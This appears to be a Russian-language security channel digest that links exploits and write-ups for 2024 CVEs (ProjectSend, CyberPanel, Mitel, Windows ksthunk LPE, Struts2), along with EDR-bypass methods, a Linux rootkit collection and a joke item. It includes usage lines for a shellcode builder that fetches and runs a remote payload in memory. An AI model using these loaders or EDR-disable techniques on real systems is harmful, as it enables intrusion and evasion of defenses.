CVE-2024-11680 ProjectSend r1605
*
Exploit

CVE-2024-51378 CyberPanel Command Injection
*
WriteUp
*
exploit

BootExecute EDR Bypass
*
Грузи малварь от ntdll.dll — до полной загрузки операционной системы Windows.
Метод и правда старый и много где используется, всегда логика была в том что бы стартануть раньше AV\EDR и даже килять его (хуки там всякие и тд).
*
D0wnL0@d

exit VIM (done)

Группа Nanowar of Steel создала гимн Java, текст которого полностью состоит из кода
*
github.com/NanowarOfSteel/HelloWorld

#metall #friday #party

CVE-2024-41713
*
Mitel MiCollab Authentication Bypass to Arbitrary File Read
*
Exploit

CVE-2024-38144
*
LPE vulnerability in Windows 11 due to Integer Overflow in ksthunk.sys
*
Перспективненько
*
WriteUp + exploit
WriteUp + exploit 2

Freeman/Freecat 😀

Collection of Linux Rootkit codes
*
Link

MyQ Print Server Unauthenticated RCE (CVE-2024-28059)
*
😆

PendingFileRenameOperations + Junctions EDR Disable
*
PendingFileRenameOperations позволяет приложениям создавать операции переименования файлов, создавая запись реестра в HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager.
*
Link

#win #edr

OpenBAS — это платформа с открытым исходным кодом, позволяющая организациям и проводить кампании и тесты по моделированию киберпреступлений.
*
Link

CVE-2024-38819
*
Spring Boot 3.3.4, based on Spring Framework 6.1.13 path traversal exploit
*
POC + docker

CVE-2024-1086 Linux LPE
*
Exploit

Apache Struts2 CVE-2024-53677
*
POC+WriteUp

Svartalfheim
*
Шелкодесы))
Stage 0 Shellcode to Download a Remote Payload and Execute it in Memory
*
Link
Usage
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 80
python3 builder.py -u 10.10.100.121 -u /path/to/shellcode.bin -p 443 -s

Крутой разбор !!!
*
OtterRoot: Netfilter Universal Root 1-day

На завтра уже, споть
*
90-Day Cybersecurity Plan
*
Cloud Security Labs
*
linux-attack-forensics-purple labs